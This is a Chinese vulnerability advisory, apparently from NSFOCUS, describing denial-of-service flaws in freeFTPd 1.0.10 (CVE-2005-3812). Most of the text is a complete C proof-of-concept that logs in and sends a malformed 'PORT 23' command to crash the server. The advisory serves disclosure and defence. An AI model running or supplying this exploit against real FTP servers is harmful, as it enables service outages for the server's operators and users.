安全研究

安全漏洞
FreeFTPD多个拒绝服务漏洞

发布日期:2005-11-24
更新日期:2005-11-24

受影响系统:
freeFTPd freeFTPd 1.0.10
描述:
BUGTRAQ  ID: 15557
CVE(CAN) ID: CVE-2005-3812

FreeFTPd是一款基于WeOnlyDo FTP/SFTP实现的免费FTP+SSL/SFTP服务器。

由于没有正确处理用户输入导致FreeFTPd中存在多个拒绝服务漏洞。登录用户可以通过发送端口命令并附加数字(如PORT 123)导致服务崩溃,或发送有用户提供数据的PASV命令导致服务器僵死。

<*来源:Stefan Lochbihler (steve01@chello.at
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=113286005205652&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

// freeFTPd Denial of Service Attack
// Tested on a Win XP Sp1 Box


#include "stdio.h"
#include "winsock2.h"
#pragma comment (lib,"ws2_32")


#define PORT 21
#define USER "root"
#define PASS "root"
#define L    "--------------------------------------------------"
#define HL   "freeFTPd (1.0.10) DoS Exploit by steve01@chello.at"
#define BOOM "23"

typedef unsigned long ulong;
ulong resolv_host(char *);

int main(int argc, char* argv[])
{

    WSADATA wsa;
    SOCKET s_target;
    struct sockaddr_in addr;
    WORD wsVersion;
    int err=0;

    if(argc<2)
    {
        printf("%s\n",L);
        printf("%s\n",HL);
        printf("%s\n",L);
        printf("Usage: %s <www.target.com>\n",argv[0]);
        exit(0);
    }

    printf("%s\n",L);
    printf("%s\n",HL);
    printf("%s\n",L);


    if(WSAStartup(wsVersion=MAKEWORD(2,2),&wsa))
    {
        printf("Error WSAStartup() Error Code: %d\n",WSAGetLastError());
        exit(1);
    }


    
    s_target=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if(s_target==INVALID_SOCKET)
    {
        printf("Error socket() Error Code: %d\n",WSAGetLastError());
        exit(2);
    }
    
    
    addr.sin_family = AF_INET;
    addr.sin_port = htons(PORT);
    addr.sin_addr.s_addr= resolv_host(argv[1]);

    if(connect(s_target,(SOCKADDR *)&addr,sizeof(addr)))
    {
        printf("Error connect() Error Code: %d\n",WSAGetLastError());
        exit(3);
    }

    int recvsize=0;
    char recvbuffer[400];
    char sendbuffer[400];

    //recv banner
    recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
    recvbuffer[recvsize]='\0';
    //send user
    strncpy(sendbuffer,"USER ",sizeof(sendbuffer)-1);
    strncat(sendbuffer,USER,sizeof(sendbuffer)-strlen(sendbuffer)-1);
    strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);

    send(s_target,sendbuffer,strlen(sendbuffer),0);

    //recv user stuff
    recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
    recvbuffer[recvsize]='\0';

    strncpy(sendbuffer,"PASS ",sizeof(sendbuffer)-1);
    strncat(sendbuffer,PASS,sizeof(sendbuffer)-strlen(sendbuffer)-1);
    strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);

    //send pass
    send(s_target,sendbuffer,strlen(sendbuffer),0);

    //recv pass stuff
    recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
    recvbuffer[recvsize]='\0';

    strncpy(sendbuffer,"PORT ",sizeof(sendbuffer)-1);
    strncat(sendbuffer,BOOM,sizeof(sendbuffer)-strlen(sendbuffer)-1);
    strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);
    send(s_target,sendbuffer,strlen(sendbuffer),0);


    closesocket(s_target);
    WSACleanup();
    


    return 0;
}


ulong resolv_host(char *host)
{

ulong uhost=0;
struct hostent *th;

uhost=inet_addr(host);
if(uhost==INADDR_NONE)
{
  th=gethostbyname(host);
  if(!th)
  {
    printf("Check if %s is up \n",host);
    exit(0);
  }

  uhost=*(unsigned long*)th->h_addr;

}



return uhost;


}

建议:
厂商补丁:

freeFTPd
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://freeftpd[dot]com/

浏览次数:3396
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障